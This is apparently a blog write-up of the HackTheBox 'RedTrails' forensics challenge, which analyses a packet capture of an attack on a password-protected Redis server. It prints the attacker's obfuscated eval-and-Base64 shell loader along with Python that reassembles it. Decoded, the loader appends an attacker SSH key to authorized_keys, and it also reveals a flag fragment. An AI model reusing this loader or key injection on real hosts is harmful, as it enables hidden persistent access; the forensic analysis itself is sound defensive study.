Avatar
An incident responder who's seeking opportunities to work in technology company!
Operator in Cookie Han Hoan
Admin in Cyber Mely

HackTheBox - RedTrails

CHALLENGE DESCRIPTION

Our SOC team detected a suspicious activity on one of our redis instance. 
Despite the fact it was password protected it seems that the attacker still obtained access to it.
We need to put in place a remediation strategy as soon as possible, to do that it's necessary to gather more informations about the attack used.
NOTE: flag is composed by three parts.

All we have it’s a network capture file, and our mission is analyze it to find all the flag parts.

Part 1:
First, I always check HTTP protocol which is very poplular for all users in Internet:

You can see a suspicious packet, follow it and I found a Powershell script:

I’ve thought maybe it will help me to find the flag, so I’ve extracted it and started to analyze:

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '==gCHFjNyEDT5AnZFJmR4wEaKoQfKIDRJRmNUJWd2JGMHt0N4lgC2tmZGFkYpd1a1hlVKhGbJowegkCKHFjNyEDT5AnZFJmR4wEaKoQfKg2chJGI8BSZk92YlRWLtACN2U2chJGI8BiIwFDeJBFJUxkSwNEJOB1TxZEJzdWQwhGJjtUOEZGJBZjaKhEJuFmSZdEJwV3N5EHJrhkerJGJpdjUWdGJXJWZRxEJiAyboNWZJogI90zdjJSPwFDeJBVCKISNWJTYmJ1VaZDbtNmdodEZxYkMM9mTzMWd4kmZnRjaQdWST5keN1mYwMGVOVnR6hVMFRkW6l0MlNkUGNVOwoHZppESkpEcFVGNnZUTpZFSjJVNrVmRWV0YLZleiJkUwk1cGR1TyMXbNJSPUxkSwNUCKIydJJTVMR2VRlmWERGe5MkYXp1RNNjTVVWSWxmWPhGRNJkRVFlUSd0UaZVRTlnVtJVeBRUYNxWbONzaXdVeKh0UwQmRSNkQ61EWG5WT4pVbNRTOtp1VGpXTGlDMihUNFVWaGpWTH5UblJSPOB1TxZUCKICcoZ1YDRGMZdkRuRmdChlVzg3ViJTUyMlW1U0U1gzQT5EaYNlVW5GV2pUbT9Ebt1URGBDVwZ0RlRFeXNlcFd1TZxmbRpXUuJ2c5cFZaRmaXZXVEpFdWZVYqlDM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JhmTuNGdnJzY6VzRYlWQTpFdBlnYv50VaJSPXJWZRxUCKsHIpgiMElEZ2QlY1ZnYwc0S3gnCK0nCoNXYiBCfgUGZvNWZk1SLgQjNlNXYiBCfgICW4lUUnRCSqB1TRRieuZnQBRiIg8GajVGIgACIKcySJhlWrZ0Va9WMD10d4MkW1F1RkZXMXxEbShVWrJEWkZXTHRGbn0DW4lUUnlgCnkzQJtSQ5pUaFpmSrEERJNTT61Ee4MUT3lkaMdHND1Ee0MUT4hzQjp2J9gkaQ9UUJowJSNDTyY1RaZXQpp0KBNVY0F0QhpnRtlVaBlXW0F0QhpnRtllbBlnYv50VadSP65mdCFUCKsHIpgidrZmRBJWaXtWdYZlSoxmCKg2chJ2LulmYvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

Looking into this code, you can know there’s Base64 string which is obfucated to make it more difficult to deobfucate. Although it looks so annoying, actually it seems not hard to deobfucate it. Now let’s analyze it step by step:

1) Reverse the Base64 string and decode it and we have the image below:

2) Analyze the Powershell code and continute to deobfucate: Before we continute, we need to know all operators in this code. You can see that there’re so many variables and each variable has a string. Navigating to the last string, we can know that if we put all together, we get a Base64 string again. Therefore, in the last line of x7KG0bvubT6dID2() function, $ stands for +. So… very easy, right?

import base64 
LQebW="ZWNobyAtZSAiXG5zc2gtcnNhIEFBQUFCM056YUMxeWMyRUFBQUFEQVFBQkFBQUNBUUM4VmtxOVVUS01ha0F4MlpxK1BuWk5jNm5ZdUVL"
gVR7i="M1pWWHhIMTViYlVlQitlbENiM0piVkp5QmZ2QXVaMHNvbmZBcVpzeXE5Smc2L0tHdE5zRW10VktYcm9QWGh6RnVtVGdnN1oxTnZyVU52"
bkzHk="bnFMSWNmeFRuUDErLzRYMjg0aHAwYkYyVmJJVGI2b1FLZ3pSZE9zOEd0T2FzS2FLMGsvLzJFNW8wUktJRWRyeDBhTDVIQk9HUHgwcDhH"
q97up="ckdlNGtSS29Bb2tHWHdEVlQyMkxsQnlsUmtBNit4NmpadGQyZ1loQ01nU1owaU05UnlZN2s3SzEzdEhYekVrN09jaVVtZDUvWjdZdW9s"
GYJan="bnQzQnlYOWErSWZMTUQvRlFOeTFCNERZaHNZNjJPN28yeFIwdnhrQkVwNVVoQkFYOGdPVEcwd2p6clVIeG1kVWltWGdpeTM5WVZaYVRK"
HJj6A="UXdMQnR6SlMvL1loa2V3eUYvK0NQMEg3d0lLSUVybGY1V0ZLNXNrTFlPNnVLVnB4NmFrR1hZOEdBRG5QVTNpUEsvTXRCQytScVdzc2Rr"
fD9Kc="R3FGSUE1eEcyRm4rS2xpZDlPYm0xdVhleEpmWVZqSk1PZnZ1cXRiNktjZ0xtaTV1UmtBNit4NmpadGQyZ1loQ01nU1owaU05UnlZN2s3"
hpAgs="SzEzdEhYekVrN09jaVVtZDUvWjdZdW9sbnQzQnlYOWErSWxTeGFpT0FEMmlOSmJvTnVVSXhNSC85SE5ZS2Q2bWx3VXBvdnFGY0dCcVhp"
FqOPN="emNGMjFieE5Hb09FMzFWZm94MmZxMnFXMzBCRFd0SHJyWWk3NmlMaDAyRmVySEVZSGRRQUFBMDhOZlVIeUN3MGZWbC9xdDZiQWdLU2Iw"
CpJLT="Mms2OTFsY0RBbzVKcEVFek5RcHViMFg4eEpJdHJidz09SFRCe3IzZDE1XzFuNTc0bmMzNSIgPj4gfi8uc3NoL2F1dGhvcml6ZWRfa2V5"
PIx1p="cw=="
result = LQebW+gVR7i+bkzHk+q97up+GYJan+HJj6A+fD9Kc+hpAgs+FqOPN+CpJLT+PIx1p
print(base64.b64decode(result))

Part 2:
With this part, I’ve looked into RESP packets (if you want to know more about this protocol, please access this link):
After searching time, I’ve found part 2 for the flag:

Part 3:

Still in RESP protocol, I’ve searched deeply and after a short time, I’ve found an interesting executable file because of its signature:
After that we extract it and open with IDA:

tshark -r capture.pcap -T fields -Y "resp.bulk_string.length == 58928" -e 
"resp.bulk_string.value" > suspicious

In this program there’re many functions (including system functions and customized functions) and the function that very interesting is DoCommand. We decompile it by navigating to the function and press F5 to decompile it in pseudocode-form and analyze:

From line 60 to 72, you can see the AES algorithm which use src and v28 as key and iv, and what we need to find is strings need decrypting. I open pcap file again and search deeper, and I’ve found some strings that appeared when attacker type some command, and in that moment, I guess that key and iv will help me to decrypt these strings. So I use CyberChef and put all things and after trying, I’ve got the last part of the flag we need to find:

Finally, thank you very much for reading my blog. If you have any questions about my post, you can contact me through Facebook that I attached in home page. Bye bye and have a good day!

all tags